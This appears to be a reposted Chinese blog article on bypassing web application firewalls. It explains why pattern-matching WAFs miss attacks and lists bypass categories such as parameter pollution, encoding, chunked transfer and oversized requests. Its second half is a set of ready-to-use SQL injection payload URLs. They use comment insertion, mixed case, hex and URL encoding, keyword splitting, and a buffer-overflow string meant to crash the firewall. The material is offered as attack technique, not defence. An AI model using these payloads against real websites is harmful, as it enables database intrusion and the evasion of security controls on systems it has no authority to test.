-
浏览器向服务器发送请求的时候必须指明请求类型(一般是GET或者POST)。如有必要,浏览器还可以选择发送其他的请求头。大多数请求头并不是必需的,但Content-Length除外。对于POST请求来说Content-Length必须出现。
大多数WAF都会较全面地检测来自GET请求的攻击,有选择地检测来自POST请求的攻击,而忽略来自请求头的攻击。
WAF绕过原因:
这里的绕过主要是针对采取模式匹配来识别攻击的WAF检测方法(其实大多数WAF的基本方法都是这个,引申到IDS,IPS,anti-virus等安全产品都是采取的这种方法)。
采取模式匹配的检测方法会绕过的原因无外乎以下几种:
1、HTTP协议解析漏洞 :WAF进行模式匹配的时候都是对HTTP协议变量进行匹配,攻击者构造异常的HTTP数据包导致不能正常提取变量,都不能进入到模式匹配阶段,自然而然就绕过了。
2、模式匹配的先天不良:字符串匹配,无论是简单的正则匹配或者会配合一定的逻辑的匹配(比如对不同关键字进行加权操作,前后依赖关系判断)反正都逃不开模式两个字,而模式是固定的,就导致了各种侧漏。
对于第2点,在云WAF上的问题最为严重,我们知道云WAF的用户类型是多样化的(不同的搭建技术:ASP/PHP/JSP,运行环境:Windows/Linux,访问方式:PC/Mobile),理想状态下,应该按站点类型精准投放防御规则,但是,基于站点自动建模(安全人员中缺乏数据分析师)是个“前沿”的技术活,而免费模式下是产生不了多大动力来投入精力的,所以现实是倾向于选择更通用的方式(放弃少数人)按危害优先级来定制规则。
以上绕过原因衍生了以下的通用绕过方式。
WAF绕过方式:
1、参数污染
2、URL重写(例如:http://localhost/uyg/id/123+or+1=1/tp/456)
3、加密payload(例如:MD5、SHA-1、自定义加密)
4、缓冲区溢出
5、编码绕过
6、特殊字符插入(%00)
7、异常HTTP请求包(例如:超级大,不符合HTTP规范但被server容错的数据包)
8、数据包分块传输方式Transfer-Encoding: chunked
SQL注入绕过:
1、 编码绕过:通过对SQL注入攻击payload进行unicode编码,十六进制编码,双URL编码来绕过检测规则。
2、注释语句绕过:通过在SQL注入攻击payload中插入注释语句(内联注释)来绕过检测规则。
3、大小写绕过:通过变化SQL注入攻击payload的大小写来绕过检测规则。
4、类型转换绕过:使用hex, ascii, ord, char,chr,cast,convert等类型转换函数来变化特定字符来绕过检测规则,除了类型转换函数还有隐性类型转换的特征 (参考:http://danqingdani.blog.163.com/blog/static/186094195201331854938182/)。
5、生僻的SQL关键字绕过。
6、特殊的sql语法(例如: mysql . ~ ! + - 符号)
7、关键字拆分。
8、请求方式转换(将GET转变为POST,因为误报的问题POST的规则要远远比GET规则松)。
-
WAF介绍
什么是WAF?
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
基本/简单绕过方法:
1、注释符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
5、内部注释
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
高级绕过方法:
1、缓冲区溢出/使防火墙崩溃
大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
你可以使用如下方法测试WAF
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
2、对字母进行编码
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
3、使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
出处:
http://www.cnblogs.com/milantgh/p/4265653.html
WAF绕过
最新推荐文章于 2024-08-19 07:00:00 发布